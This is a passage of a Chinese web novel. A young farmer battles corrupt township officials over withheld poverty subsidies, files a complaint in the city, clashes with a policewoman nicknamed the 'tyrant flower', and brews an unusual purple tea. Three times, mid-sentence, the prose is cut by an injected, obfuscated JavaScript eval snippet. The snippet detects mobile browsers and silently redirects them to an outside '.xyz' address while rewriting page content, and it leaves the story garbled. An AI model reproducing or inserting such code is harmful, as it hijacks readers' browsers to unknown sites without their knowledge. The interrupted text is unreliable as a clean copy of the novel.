刘思雨眼睛一亮，用力点头：“明白！我马上去办！”莫天扬这招，是要把矛盾直接捅上去，用正规渠道施压！这比村民自己去闹高明多了。 “第三，”莫天扬最后看向胡标、曹勇、陈峰等几个主事人，“标叔、勇叔、峰叔，安抚好大家，把菜地、沙地的活盯紧，一天都不能耽误！他们越想让我们乱，我们就越要稳！把咱们的日子过好，把产业搞起来，就是对他们最好的回击！告诉他们，青木村，离了他们的‘施舍’，照样能活，而且能活得更好！” “好！” “就这么干！” “听天扬的！” 莫天扬条理清晰、步步为营的安排，像给惶惶不安的村民们注入了一剂强心针。恐慌渐渐被一种同仇敌忾的决心取代。 看着重新燃起斗志的众人，莫天扬心里却没有丝毫轻松。他知道，这只是开始。乡里那些人绝不会善罢甘休。他走到帐篷角落，拿起那个用衣服包着的包裹，解开，露出了三个墨绿诱人的血瓜瓜。 浓郁的异香瞬间弥漫开来，冲淡了帐篷里沉闷的空气。 “来，大家尝尝这个。”莫天扬拿起一个瓜，手指用力一捏。 “咔！” 血红的瓜瓤如同最上等的红宝石，晶莹的汁液如蜜流淌。 “血瓜瓜，这是血瓜瓜。”人群一下热闹起来，诱人的香气更是让他们忘了扶贫金。 香甜的瓜肉入口，那从未尝过的极致甘甜在舌尖化开，仿佛带着一股神奇的力量，驱散了心头的阴霾，点燃了更深的希望。 莫天扬咬了一口瓜，目光投向远方，那里是正在施工的大院，也是他心中不屈的火焰。乡里的打压？他嘴角勾起一抹冷冽的弧度。 “天扬，如果他们真的停发了那一笔钱……”吃过血瓜瓜，胡标深吸口气，眼眸中带着一丝担忧。 胡标这一说，所有人脸上的激动瞬间消失，他们都看向莫天扬，毕竟他们心里都清楚，他们中不少人都没有资格领取那一笔扶助金。 “标叔，现在大家伙都跟着我干，每一个月都有工资，即使没有这件事情，他们也会停发，这一次不过是一个由头。” “可村里大多数人还……” 胡标这一说，过来看热闹的村民也看向莫天扬，“天扬，我们可没过你这边挣钱，这要是因为这件事情，我们的扶助金没了咋办。” “人为一口气，这一次如果我服软的话，他们以后还会过来找事，我就是要将事情闹大，让那些蛀虫们得到应有的惩罚，大家伙放心，如果他们停发，我补给大家伙。” “啊。” 所有人都瞪大眼睛，胡标几个更是起身，“天扬，你知道你在说什么，咱们村可是有四百多户人，不符合条件的有三百六十二户。你……” 莫天扬淡淡一笑，“这个我知道，刚才我说了，今年我种菜成功，即使他们不拿这件事情说事，上面也会核查，到时候上面还是会停发，不过这件事情在我，我给大家伙补发也在情理之中，等以后大家伙有钱了我就会停发。” “天扬，你说的是真的？”人群中有人带着最后一丝不确定问道。 莫天扬深吸一口气，目光坚定地扫过众人，最后落在正在施工的院子和胡标等人身上：“我的根就在这里，我的家就在这里！我莫天扬不会走！大家伙儿就算信不过我，总该信得过标叔、峰叔、勇叔这几位看着我们长大的长辈吧？” “天扬都拍胸脯了！”胡标立刻接过话头，声音洪亮地驱散着疑虑，“都散了散了！该干嘛干嘛去！过几天，天扬一定给大伙儿一个明明白白的交代！” 人群带着复杂的心情，渐渐散去。现场只剩下胡标、陈峰、曹勇、刘思雨和颜若曦。 胡标眉头紧锁，忧心忡忡：“天扬，一户一千多是不算多，可三百六十多户加起来，一年就是四十多万啊！这不是个小窟窿……” “标叔，我知道。”莫天扬平静地点头，“那您几位，有更好的法子吗？” 胡标几人相视苦笑，无奈摇头。 “这不就结了？”莫天扬眼神锐利，“这不仅仅是钱的事。今天他们能用扶贫金卡跟我签合同的村民，明天就能卡标叔、峰叔你们！这事必须解决，而且要让他们痛！哪怕我今年一分钱不赚，也得把这根刺拔了！没了扶贫金这张牌，我看他们还怎么蹦跶！” “这帮人，真是下作到骨子里了！”陈峰忍不住骂道。 “下作是下作，”莫天扬冷笑，“可他们算盘打得精。就想逼我低头，好从我身上榨出更多油水。我这次是得放点血，可他们呢？搞不好连饭碗都得砸了！就算以后换上来的还是些蛀虫，想动我莫天扬之前，也得掂量掂量我反击的份量！” 这番话让胡标等人心头一震，仿佛第一次真正理解了“伤敌一千，自损八百”的残酷与决绝。 “天扬，”刘思雨满眼忧虑地开口，“一户一年一千多，四十多万。三年呢？五年呢？你可是包了三十年啊……”这数字像座山一样压下来。 莫天扬却淡淡一笑，目光灼灼地看向她，也看向在场的每一个人：“一户一年一千多？可如果……他们每个月都能从我这里挣到几千块的工资呢？那时候，谁还会在乎那一年一千多块的‘施舍’？” 轰！ 这句话如同惊雷，炸响在众人心头！ 对啊！如果每个月都有稳定可观的收入，谁还会眼巴巴盼着那点违规的扶贫款？莫天扬今年包了三百亩沙地，明年还要搞养殖，需要的人手只会更多！他是在用未来的“活水”，填平眼前的“沟壑”！ 更重要的是，莫天扬这招“自掏腰包”，表面是“自损”，实则是“破局”与“收心”！那些违规领款的村民，只要不是铁石心肠，谁能不感念他雪中送炭？明年上工，必然死心塌地！而乡里那些想使绊子的人，看到莫天扬为了护住村民敢下如此血本，谁不得掂量掂量后果？ “伤敌一千，自损八百？”莫天扬嘴角勾起一抹冷冽的弧度，“我这是要让他们知道，动我莫天扬的人，代价有多大！” “天扬，今年你摊子铺得这么大，投入像流水一样，年底这窟窿……”陈峰还是担心资金链。 “峰叔，这才七月，离年底还早着呢！”莫天扬信心十足，“屠苏酒年底就能上市，豆芽生意一直稳赚，这两项进项就够填窟窿了。实在不行，王哥他们就是我的后盾！” “天扬，我家里还有三万棺材本，明天就给你拿来！”陈峰一咬牙，下了决心。 “峰叔，您的心意我领了！”莫天扬心头一暖，但坚决摇头，“那是您的养老钱，不能动！我有办法！” 他说完，目光落在地上散落的血红色瓜子上：“来，把这些血瓜瓜的种子都仔细收好。明年，咱们就靠它打响头炮，种它个几亩！” “天扬，这血瓜瓜……你真能种出来？”曹勇还是有些难以置信。 “哈哈！”莫天扬爽朗一笑，“这几天我就试试水！不行再说！可要是成了……”他眼中精光闪烁，“这些种子，就是一颗颗金豆子！” 几个月前，没人相信这个回乡的大学生能折腾出什么名堂。可这两个多月，莫天扬用实实在在的工资、顿顿管饱的饭菜，还有那肉眼可见的变化，彻底征服了他们。那份曾经的怀疑，早已化作了近乎盲目的信任。莫天扬说能，那就一定能！ 很快，每个人都蹲在地上，小心翼翼地捡拾着那些沾着泥土的、血红色的种子。手上沾满了泥，脸上却洋溢着捡到金子般的笑容——他们捡起的，是青木村未来的希望！ 种子收集妥当，大家洗净手重新坐下。颜若曦凑到莫天扬身边，少女特有的馨香让莫天扬有些不自在地挪了挪身子。 “若曦，你……” “太好吃了！那血瓜瓜！”颜若曦眼睛亮晶晶的，满是期待，“比咱们的香瓜强太多了！你昨天不是说还得几天才熟吗？那三个瓜……” 莫天扬笑着指了指不远处趴着打盹的小白：“是这小家伙找到的。血瓜瓜太香，它一口气吃了好几个！那三个瓜，还是我虎口夺食，硬从它嘴边抢下来的呢！” 众人这才注意到，小白嘴边的白毛上，还残留着没舔干净的血红色瓜瓤。看看小白那心满意足的憨样，再看看莫天扬“无奈”的表情，刚才还弥漫着的沉重阴霾，瞬间被一阵轻松愉快的笑声冲散得无影无踪。希望，如同那血瓜瓜的甜香，再次在每个人心中弥漫开来。 第一百一十二章受牵连？ 接下来的几天，莫天扬活像个旧时地主家的少爷，天天带着小白往雀沟跑。每次回来，小白雪白的毛发上总会沾着点可疑的红色痕迹，而莫天扬总能变戏法似的掏出几个新鲜的血瓜瓜。这让大伙儿大饱口福，他手里的血瓜瓜种子也越攒越多。 这天，刘思雨带来了预料之中却依然令人心沉的消息：“天扬，乡里的正式通知下来了。所有和你签了承包合同的村民，扶助金……全停了。” 莫天扬眼神一冷，深吸一口气：“果然出手了，够快。思雨，让你准备的材料，弄好了吗？” “准备好了。”刘思雨点头，但杏目中闪过一丝凝重，“不过，还有个情况……我打听到，扶贫办那边，有个实权人物和安云飞走得很近。” “安云飞？！”莫天扬瞳孔骤然收缩。莫老三、莫栓能在乡里横行霸道，全仗着这个靠山！安云飞虽然官复原职，但之前栽的跟头绝对算在自己头上，他恐怕恨不得生啖其肉！青木村这事，他必然会在背后捅刀子！ “思雨，”莫天扬当机立断，“材料弄两份！先送一份去县里！” “那另一份……？”刘思雨疑惑。 “沛川！”莫天扬斩钉截铁。 刘思雨瞬间明白了他的顾虑：“你是担心县里因为安云飞……” “没错！”莫天扬神色严峻，“有安云飞这条毒蛇在，县里那关未必能按规矩走通。沛川，是咱们最后的退路！” “行！我明天就把县里那份送过去！”刘思雨立刻应道。 “不！”莫天扬立刻阻止，目光深深地看着她，“思雨，你把材料给我就行。这事……你不能亲自去送！” “为什么？”刘思雨不解，“我担心宏利他们可能……” “正因为你是新上任的村支书！” 莫天扬打断她，语气坚决，“这事牵扯太大，是直接捅乡里甚至县里的马蜂窝！你刚上任根基未稳，一旦卷进去，很可能前途尽毁！标叔已经被他们弄下去了，要是你再因为我出事，换个处处刁难我的支书上来，我们只会更被动！ 让宏利去送！他一个普通村民，光脚不怕穿鞋的。如果县里按章办事，自然最好。如果他们敢踢皮球或者装聋作哑……”莫天扬眼中寒光一闪，“我就亲自带着另一份材料，去沛川市里讨个说法！” 刘思雨怔了怔，明白了莫天扬是在全力保护她，心头涌起一股暖流，又带着涩意：“……好。材料我晚上整理好给你。” 刘思雨离开后，颜若曦凑过来，眼中带着关切和一丝不忿：“天扬，思雨去送一下材料……真会有那么严重？” 莫天扬叹了口气，压低声音：“若曦，这事关乎乡里好些人的乌纱帽，甚至是安云飞那帮人的利益！他们急了什么事都干得出来。思雨位置敏感，一旦被抓住把柄，前途就完了。标叔就是前车之鉴。我？我不过是个种地的，他们还能把我怎样？总不能再把我抓进黑屋子打一顿吧？”他故作轻松地耸耸肩。 “他们敢——！！”这一次，不仅是颜若曦柳眉倒竖怒喝出声，连旁边的曹建华、曹慧等人也猛地拍案而起，异口同声地吼了出来！愤怒的声音在帐篷里回荡，充满了对莫天扬的维护和对那些人的痛恨。小白也被惊得抬起头，警惕地看向众人。 看着小白那副傲娇又机灵的模样，众人忍俊不禁。胡标感慨地叹道：“唉，有些人啊，真还不如这小家伙通人性！” 颜若曦好奇地打量着小白：“天扬，小白是什么品种？多大了？” 陈峰爽朗一笑：“哪有多大！是几个月前天扬在外面捡回来的小可怜，顶多三四个月大！天扬把它当家人养，人吃啥它吃啥。你瞅瞅，才四个来月，个头就窜得比大狼狗还壮实！村里见多识广的老把式们，也没一个能说准它是个啥。” 胡标仔细端详着小白的爪子，正色道：“我家祖上几代都是猎户。虽说不认得品种，但这爪子的架势……等它长成了，恐怕连大青都不是对手！天扬心善，得了小白的忠心，以后就算真有青狼下山，有它在，天扬的安全也多份保障。” “嗷嗷！”小白仿佛听懂了胡标和陈峰的评价，冲着他俩不满地低吼几声，呲了呲闪着寒光的獠牙。**完毕，小家伙傲娇地把大脑袋一扭，直接给了他们一个后脑勺。 这人性化十足的反应逗得大家哄堂大笑。颜若曦笑着走过去，蹲下身轻拍小白的背：“哟，小白生气啦？这说明咱们小白血脉高贵着呢！” 更令人惊奇的是，小白非但没躲闪，反而顺势躺倒在地，露出肚皮，一副极其享受的模样——这待遇，通常只有莫天扬才能享有！ “嘿！奇了怪了，小白咋不躲若曦？”曹勇纳闷道。 陈峰瞥了胡标一眼：“何止小白？连大青有时候都让她摸两下呢！” 胡标闻言，夸张地仰天长叹：“唉！这世道，连畜生都嫌弃咱们穷，嫌咱们丑喽！”六十多岁的老汉说出这话，反差感十足，瞬间引爆了全场的笑声。 *** 随着张学涛仓库里的高粱到位，莫天扬这边也忙碌起来。一车车建造简易房的材料陆续运抵。 “天扬，”胡标看着规划图，面露难色，“我们刚量了，要是按原计划再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131656|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扩建，就得压到别人家地里了。我们几个商量着，反正这简易房也是临时的，要不我去跟那几家说说？” 莫天扬目光转向院子西边那片荒芜的空地：“标叔，我家院子西面那条老路，早没人走了。干脆把酒坊建那边？只要在西墙上开个门，进出也方便。” 陈峰眼睛一亮，看向胡标：“老胡，那片荒地宽着呢，有一百多米！以前白送都没人要！现在天扬回来了，又是干正事，能不能想办法把那块地批给天扬当宅基地？这样他想干啥都名正言顺！” 胡标一拍大腿：“好主意！搁以前没问题，可现在……天扬正跟乡里顶着牛，批文怕是不好拿。不过……”他脑筋一转，“可以用宏利或者振南的名义申请！批下来后，让他们私下写个转让契约给天扬就行。那地方荒，又挨着雀沟，没人稀罕，应该能批下来。到时候盖房子、建酒坊都行！天扬，你觉得咋样？” 若是几个月前，莫天扬定会拒绝，那时他一心只想带爷爷离开这荒村。但如今既已扎根，地自然是多多益善，何况他早对那片荒地有了盘算。 “行！这事就劳烦标叔、峰叔你们几位长辈操心了！”莫天扬爽快答应。 “成！包在我们身上！”胡标应下，随即想起另一件事，眉头微皱，“对了天扬，宏利把材料送上去也有小一礼拜了吧？咋一点动静都没有？石沉大海了？” 莫天扬也皱起眉：“是啊，快七天了。等思雨回来，让她帮忙打听打听……” “喏，那不是回来了？”陈峰指着远处驶来的车。 看着刘思雨下车的身影，莫天扬心头猛地一沉。三年同桌，他太了解她了——那垂下的肩膀、沉重的步伐，无一不显露着极差的状态。 待刘思雨走近，胡标等人也察觉出异样。莫天扬递过一块冰镇西瓜：“思雨，来块瓜解解暑？” 刘思雨摇摇头，沉默不语，脸色苍白。 “思雨，出啥事了？”莫天扬轻声问。 刘思雨眼眶瞬间红了，声音带着压抑的哽咽：“我……我被停职了。” “什么？！”胡标、陈峰几人脸色骤变，失声惊呼。 莫天扬眼神瞬间冰寒刺骨！无需多问，答案呼之欲出——这必然又是冲着他来的！ “是因为我？”他声音低沉，带着压抑的怒火。 刘思雨摇摇头，泪水在眼眶里打转：“……通知上没说原因。” “这群该死的蛀虫！”莫天扬猛地攥紧拳头，指关节捏得发白，眼中怒火熊熊燃烧，“好！很好！我明天就去沛川！我倒要看看，这天底下还有没有王法！” 第一百一十三章再遇霸王花 沛川。正在办公的王传林听到敲门声，并未抬头。通常这时进来的是秘书。 然而，门外没有传来熟悉的问候。他下意识抬眼，随即猛地站起，脸上满是惊喜：“天扬！你过来怎么不提前打个电话？我好去接你啊！” 莫天扬晃了晃手里两个沉甸甸的黑袋子，“王哥，给你捎了点山木耳。” “你又进山了？” “没，山口附近采的。” 王传林给莫天扬沏了杯茶，坐下后看着他：“天扬，你总不会专门跑一趟就为送这木耳吧？” 莫天扬摇头，将刘思雨准备好的材料放到桌上，把村里这几天发生的事原原本本讲了一遍。 听完莫天扬的叙述，王传林脸色铁青。这种事若落在旁人身上，他或许只当是条小道消息听听。 莫天扬确实是个种菜的农民，但他种出的那些品质非凡的蔬菜，却是他们结交权贵最硬气的资本。有人针对莫天扬，就是动他们的根基。 “这群**饭不拉人屎的混账东西！”王传林怒骂一声，“天扬，走，我这就带你去**！” “王哥，安云飞那边……” “这事说大不大，说小也不小！青木村的地都快成沙窝了，村里壮劳力都没几个。你承包沙地，不但解决了剩余劳动力，还让大伙儿腰包鼓了起来。他们倒好，为一己私利，拿扶助金当筹码胁迫你？这已经违规了！县里装聋作哑，市里要是再不管，天理难容！” “只要能解决麻烦就好。” “天扬，你这是伤敌一千自损八百啊！一年几十万，就这么白白送出去？” 莫天扬叹了口气：“不解决这麻烦，别说酿酒，菜都种不成。到那时，我一分钱也落不着。所以，哪怕少赚点，甚至明年不赚，我也绝不能让他们从我这儿占到半点便宜。钱给了村民还能落个好，那些东西呢……” 王传林苦笑着摇头：“那你有没有想过，接下来还会有麻烦？县里的，甚至市里的……” “他们总不能一手遮天。我本事不大，但绝不和他们同流合污！” 王传林深吸一口气：“行！我先打个电话，让他在那边等着，咱们一会儿就过去。” …… 一座颇有年头的老式大院。一个三十出头的男人看到王传林和莫天扬一同出现，眼中掠过一丝诧异。 王传林是沛川最年轻有为的企业家之一，平时和他结交的非富即贵。此刻他身边这青年衣着普通，实在有些扎眼。 “王董，您说的人……” 王传林点点头：“程宇，这是我兄弟莫天扬。他在村里承包了点沙地，可乡里那帮人，竟用扶助金要挟村民，不准把地包给他。” 程宇眼神一凛：“哪个村？” “青木村。” “你就是那个……在青木村沙地上种出好菜的‘狼王’？”程宇的语气带着惊讶。 莫天扬连忙摆手：“可不敢当什么‘狼王’。” “青木村的良田几乎全沙化了，市里也知道这事。你能在那儿种出高品质蔬菜，市里更是挂了号！他们这么干，是犯罪！主任正好在，材料带齐了吗？我这就领你们过去。” “都准备好了。” 三人正要往里走，莫天扬脚步猛地一顿。只见一个身材高挑、容颜绝丽、英姿飒爽的女警迎面走来。 莫天扬这一愣神，那朵“霸王花”也看到了他。瞬间，她俏脸罩上一层寒霜，杏目含厌，冷冷地扫了莫天扬一眼。 莫天扬赶紧低下头。等她擦肩而过，后背已沁出一层冷汗。他万万没想到，竟会在这里撞上那天在黑市上被他制住的“霸王花”。 “天扬，别瞎琢磨了。”王传林压低声音，“楚婧雅可是沛川出了名的‘霸王花’，下手狠着呢！虽然刚来不久，但背景深不可测，沛川的权贵在她眼里啥也不是。都说她讨厌男人，多少追求者被她揍得鼻青脸肿。” 莫天扬咧了咧嘴，心头骇然。这要是让楚婧雅知道那天把她压在身下的是自己，这朵暴力的花，还不得活撕了他？ 走出大门的楚婧雅脚步忽然一顿，像是想起了什么，猛地转身，目光精准地锁定在跟在王传林和程宇身后的莫天扬身上。她英气的眉毛微蹙，杏眼中闪过一丝不易察觉的疑惑。 不过片刻，她又摇了摇头。王传林她自然知道，身家过亿的年轻企业家，怎么可能和一个种地的农民有太深的交情？大概是自己多心了。 数分钟后，莫天扬三人从大院出来。程宇长舒一口气，语气带着几分振奋：“天扬兄弟，放心吧！我还没见主任发过那么大的火。他亲口承诺，三天内一定给你个满意的交代！” 莫天扬点点头。刚才在里面，主任翻阅材料时那铁青的脸色和压抑的怒火，他都看在眼里。王传林分析得对，这事真要闹大了，市里也兜不住。那些混迹官场的老油条，最懂得避祸，绝不会为了几个乡干部引火烧身。 “天扬，先回我那儿。我联系下李红军他们，中午好好聚聚。”王传林提议。 “大伙儿都忙着挣钱呢，别为我耽误事儿。市里还有个农贸市场，我去转转就回了。”莫天扬婉拒道。距离他上次来市里也没几天，王传林知道他性格，便没再坚持。 “那我送你过去。” “王哥，打车就行，方便。” 农贸市场里人头攒动。莫天扬转了一大圈，没发现什么特别的东西，倒是采购了不少蔬菜和农作物种子，装了一大袋。 收获不大，莫天扬的目光投向海鲜批发区。他心里盘算着一个念头：买些活海鲜试试。可惜，沛川深处西北内陆，活海鲜运输成本高昂，消费主力是星级酒店，普通批发市场难觅踪影。失望之下，他只好退而求其次，买了不少冷冻海鲜，数量之多，摊主都热心地帮他叫了辆出租车。 就在莫天扬结完账，拎着大包小包准备出门时，门帘一掀，一个身影正好要进来。两人猝不及防，“砰”地撞了个满怀！ 一股少女独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131657|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的清幽体香钻入鼻端，紧接着，两团惊人的柔软结结实实撞在莫天扬胸口。 “啊！”一声短促的惊呼。 被撞的女孩失去平衡向后倒去。莫天扬下意识伸手一捞，温香软玉瞬间满怀，那触感让他心头一荡。 他赶紧扶稳对方，抬眼一看，心头猛地一沉——坏了！那两道几乎能冻**的冰冷目光，不是楚婧雅这朵霸王花又是谁？这运气也太背了！ “对不起！”莫天扬连忙道歉。 被他扶住的楚婧雅，此刻俏脸飞红，却也愣在了原地。早上在大院只是匆匆一瞥，但这个穿着普通、却难掩英俊的青年，她已留了印象。此刻下班来买点海鲜，竟又撞上，还被占了这么大便宜……一股强烈的怀疑涌上心头：这家伙，该不会是故意在这儿堵她吧？ “走路不长眼吗？！”想到刚才那羞人的接触，楚婧雅心头火起，眼神更是冰寒刺骨，狠狠剜着莫天扬。 莫天扬赶紧指了指厚重的塑料门帘：“真不好意思，这帘子……” “对不住对不住！”海鲜摊老板也连忙跑过来打圆场，“这帘子是不太透光，这几天撞了好几位了！下午我就换新的！姑娘您多包涵……”毕竟莫天扬刚在他这儿消费了大几千。 楚婧雅没好气地给了莫天扬一个“你给我等着”的白眼，侧身挤进了店里。莫天扬如蒙大赦，赶紧提着东西钻进等候的出租车。 店内，楚婧雅一边挑拣海鲜，一边状似无意地问老板：“老板，刚才撞我那男的，你认识？” “不认识，头一回来。买了好几千块钱的海鲜呢，估计是家里办席吧？”老板随口答道。 “好几千？”楚婧雅挑海鲜的手顿了一下。 “是啊！看他还拎了两大袋种子，像是哪个村的种地大户。”老板补充道。 楚婧雅杏目微闪：“他没说哪个村的？” “没提。不过路应该不近，特意让我帮他叫了辆出租才走的。” “哦……”楚婧雅若有所思，低声自语，“早上在**大院见过他，跟那个王传林在一块儿……” 出租车上。 司机透过后视镜瞄了眼后座的莫天扬，咂咂嘴：“小兄弟，刚才可把我吓出一身汗呐！” “嗯？”莫天扬一时没反应过来。 “就你撞那姑娘！”司机心有余悸地说，“那可是咱沛川出了名的警花！人是真漂亮，下手也是真狠！上个月就在这片儿，三个不长眼的小偷想扒活儿，让她一人全给收拾了，全躺地上叫救护车拉走的！你说狠不狠？” “这么厉害？”莫天扬心头一跳。 “那可不！”司机语气笃定，“她来沛川时间不算长，可这名头响得很！市里那些混子，听见她名字腿肚子都转筋！” 莫天扬不由得摇头，他没想到楚婧雅这个美的冒泡的大美女，在沛川会如此有名，一个普普通通的出租车司机都知道她的事迹，他暗自祈祷，以后千万不能遇到这个火辣的霸王花。 第一百一十四章真的是茶？ 青木村。陈峰等人将一箱箱冷冻海鲜从车上卸下。每个人脸上除了搬运的兴奋，更多是难以言喻的复杂。在这经济腾飞的时代，连许多北方内陆都能海鲜自由，可他们中的大多数人，对海鲜的认知仅限于“知道”，尝过的最奢侈海味，不过是养殖带鱼罢了。 “天扬，这……不便宜吧？”胡标看着箱子，忍不住问。 “标叔，冷冻的还好，”一旁的颜若曦笑着解释，“像这青蟹，也就几十块一斤。” 胡标等人听了直咧嘴。几十块还不贵？他们逢年过节才舍得买的白鲢才五六块一斤！这一斤海鲜，快抵十斤大鱼了。 “你那几位朋友……快来了吧？”有人试探着问。大家都知道莫天扬今天去了沛川递交材料，心里都盼着是他那些有本事的朋友起了作用。 “得过些日子。这些海鲜，就是买回来给大伙儿尝尝鲜的。”莫天扬说。 “哎哟，快冻起来！太金贵了！留着招待贵客吧，我们吃浪费了……”众人连忙摆手。 莫天扬心里一阵感慨。若在几个月前，他也会这样想。他也是在最近去沛川，才第一次尝到了多种海鲜的滋味。 “都是人，别人吃得，我们怎么就吃不得？先搬下来吧，我去看看爷爷。”他招呼着，转身朝莫啸的屋子走去。 推开房门，一股闷热扑面而来。莫天扬皱了皱眉：“爷爷，这么热的天，怎么不开空调？” 莫啸指了指敞开的窗户：“开着窗呢，通风。” 莫天扬无奈，径直拿起遥控器打开空调：“爷爷，您……会做海鲜吗？” “会！怎么不会？”莫啸下巴一抬，带着老厨神的傲气，“这天下间，就没有你爷爷我不会整治的玩意儿！” “真会？”莫天扬将信将疑。 莫啸不屑地哼了一声：“想当年……”眼看爷爷又要搬出那套辉煌往事，莫天扬赶紧打断：“行行行！我弄回来不少海鲜，您出去掌掌眼？晚上咱们就吃它！” “走着！” 帐篷下，莫啸指挥着莫天扬把各种海鲜包装拆开，眯着眼仔细打量，不时点头：“嗯，成色还行……这个不错……” 作为曾经十里八乡公认的头牌大厨，胡标他们对莫啸的手艺倒没半点怀疑——毕竟老爷子当年离家闯荡了几十年呢。可莫天扬心里还是有点打鼓。人多眼杂，他也不好细问，生怕万一爷爷失手，那积攒了一辈子的威望可就…… 莫啸吩咐陈峰他们把海鲜泡水解冻，又让莫天扬去准备葱姜蒜等辅料。看着爷爷有条不紊、侃侃而谈的架势，莫天扬心里的疑虑忽然消了大半：爷爷或许……真能行？ 一切准备就绪，只等海鲜化冻。被停职后一直情绪低落的刘思雨，看着众人忙完，深吸了口气，走到莫天扬身边：“天扬，沛川那边……有信儿了吗？” “应该没问题，”莫天扬安慰道，“那个李主任说，三天后肯定给答复。” 胡标在一旁听了，眼神闪了闪，低声嘟囔：“县里……当初也说三天……” 这话让周围的气氛瞬间沉了几分。莫天扬一时也不知如何回应。程宇说得再肯定，终究人心隔肚皮，他自己心里其实也没十足的把握。他只能默默走开，去摆弄他那堆“茶叶”。 这些日子，莫天扬严格按照网上查来的步骤制茶。树叶被他揉捻成了细长的针形，可颜色却异于常理——既非碧绿，也非金黄，而是一种深沉的紫褐色。这诡异的颜色，连见多识广的颜若曦和刘思雨看了都直摇头。 颜色虽怪，但莫天扬凭借敏锐的感知，却能捕捉到那针形叶片中隐隐透出的一股奇异的、难以形容的幽香。所以，尽管颜若曦她们都不信这是茶，他却坚信不疑——那株引动空间剧变的古树，必是茶树无疑！ 他走到晾晒茶叶的架子旁。一阵热风拂过，莫天扬精神猛地一振！风中，他清晰地捕捉到了一丝别样的、清幽的香气！ 他快步上前，捏起几根紫褐色的“茶针”凑到鼻尖。没错！就是刚才那缕幽香！他又用手指捻了捻叶片的干湿度，心中有了判断：成了！按资料所说，这茶……算是制成了！ 小心翼翼地将晒好的茶叶收拢起来，拢共也就二两左右。莫天扬捧着这点“宝贝”，兴冲冲地跑回简易的会客室，清洗茶具，烧上开水…… 不远处忙碌的人群里，只有颜若曦和刘思雨注意到了他这风风火火的举动。 “思雨，”颜若曦用胳膊肘碰了碰好友，压低声音，“那家伙刚从他晒‘树叶’的地方跑回来……到现在还把那堆东西当茶呢。你说他……该不是得了什么幻想症吧？” 心情沉郁的刘思雨被她这话逗得“噗嗤”一声笑了出来。想起莫天扬盯着那些紫褐色叶片时那副不容置疑的坚定眼神，她摇摇头：“说不定……真是茶呢？他不懂制茶，手法不一样，出来的颜色自然也不同吧。” 就在颜若曦和刘思雨闲聊之际，一股奇异的幽香悄然弥漫开来。不仅仅是她们俩，连不远处的胡标、曹慧等人也猛地抬头，齐齐望向会客室的方向！ 那香气仿佛带着灵性，吸入肺腑，竟似一股沁凉的清泉流淌而过，瞬间驱散了夏日的燥热与烦闷。 “这也太香了！”刘思雨与颜若曦对视一眼，彼此眼中都盛满了惊异，“难道……真是茶？” “走，看看去！” 会客室里空调开着，但那奇异的香气却更加浓郁醉人。茶几上摆着几只小杯，杯中茶水呈现出深邃迷人的紫晶色，晶莹剔透。 见两人进来，莫天扬咧嘴一笑：“来得正好，尝尝？” 两人依言坐下，目光却都落在莫天扬身上。“香味是绝了，不过……”刘思雨还是有些迟疑。 “放心，没毒！”莫天扬哈哈一笑，“叶子我都尝过了。” 两人交换了一个眼神，“信你一回！” 端起茶杯，轻抿一口。 瞬间，两人的娇躯同时一震！ 一股难以言喻的、层次丰富的芬芳在口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135487|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸开，温热茶汤滑入喉咙，却化作一道清凉甘冽的溪流，在四肢百骸间舒畅地游走。那极致的舒爽感，几乎无法用言语形容。 “真的是茶！”颜若曦失声惊叹，“这滋味……绝了！比我在爷爷那里喝过的武夷山母树大红袍还要好！” 莫天扬和刘思雨同时惊异地看向颜若曦：“你喝过？” 颜若曦点点头，带着回味：“嗯，我爷爷的朋友曾送过一点。不骗你们，这茶绝对更胜一筹！” 刘思雨眼睛一亮，立刻追问：“那……这茶值多少钱一斤？” 颜若曦失笑：“思雨，顶级茶是论‘两’卖的！就这品质，一两至少几千块。要是工艺再精纯些，包装宣传跟上，上万也不是没可能！” “这么多？！”刘思雨激动地转向莫天扬，“天扬！这茶在哪儿采的？你快去都摘回来！弄个十斤八斤的，你就发啦！” 颜若曦连忙摇头：“思雨，武夷山那株大红袍母树活了上千年，一年也才产几斤茶，稀罕得很！天扬找到的这地方，恐怕也……” 莫天扬淡淡一笑：“若曦说得对。茶产量不高，能弄点自己喝就不错了，卖什么？再说，王哥他们帮了我那么多，这点茶，恐怕连送人都不够分。” “几万块的茶说送就送？”两人异口同声，目光灼灼地盯着莫天扬。 被两双美目这样盯着，莫天扬老脸微红：“就是些树叶罢了……到时候送你们点，带回去给父母也尝尝鲜。” “你真舍得？”两人再次同声问道，眼神里多了些别样的意味。 